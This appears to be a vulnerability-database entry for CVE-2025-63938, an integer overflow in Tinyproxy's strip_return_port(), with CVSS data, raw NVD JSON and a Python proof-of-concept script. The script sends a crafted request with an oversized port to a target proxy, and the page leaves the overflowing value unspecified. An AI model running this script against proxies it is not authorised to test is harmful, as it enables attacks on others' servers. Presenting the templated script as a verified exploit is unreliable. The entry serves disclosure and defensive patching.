Security Vulnerability Report
中文
CVE-2025-63938 CVSS 6.5 MEDIUM

CVE-2025-63938

Published: 2025-11-26 17:15:46
Last Modified: 2026-01-02 20:48:25

Description

Tinyproxy through 1.11.2 contains an integer overflow vulnerability in the strip_return_port() function within src/reqs.c.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:tinyproxy_project:tinyproxy:*:*:*:*:*:*:*:* - VULNERABLE
Tinyproxy < 1.11.2
Tinyproxy <= 1.11.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import sys def exploit_tinyproxy_integer_overflow(target_host, target_port, malicious_port): """ PoC for CVE-2025-63938: Tinyproxy strip_return_port() Integer Overflow This PoC demonstrates sending a crafted HTTP request with an oversized port value to trigger integer overflow in strip_return_port() function. Args: target_host: Target Tinyproxy server IP target_port: Target Tinyproxy server port malicious_port: Malicious port value that triggers overflow """ try: # Construct HTTP request with malicious port value # The port value should be crafted to cause integer overflow # when processed by strip_return_port() function request = f"GET http://example.com:{malicious_port}/ HTTP/1.1\r\n" request += f"Host: example.com\r\n" request += "Connection: close\r\n" request += "\r\n" # Create socket connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) # Send malicious request sock.send(request.encode()) # Receive response response = sock.recv(4096) print(f"[+] Request sent with port value: {malicious_port}") print(f"[*] Response: {response[:200]}") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve_2025_63938_poc.py <target_host> <target_port> <malicious_port>") sys.exit(1) target_host = sys.argv[1] target_port = int(sys.argv[2]) malicious_port = sys.argv[3] exploit_tinyproxy_integer_overflow(target_host, target_port, malicious_port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63938", "sourceIdentifier": "[email protected]", "published": "2025-11-26T17:15:46.440", "lastModified": "2026-01-02T20:48:24.747", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tinyproxy through 1.11.2 contains an integer overflow vulnerability in the strip_return_port() function within src/reqs.c."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tinyproxy_project:tinyproxy:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.11.2", "matchCriteriaId": "EA089E92-86A9-4AE8-9CB3-D6B87A28B444"}]}]}], "references": [{"url": "https://github.com/rayinaw/my-hub/blob/main/CVE-2025-63938/DISCLOSURE.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/tinyproxy/tinyproxy/commit/3c0fde94981b025271ffa1788ae425257841bf5a", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/tinyproxy/tinyproxy/issues/586", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Patch"]}]}}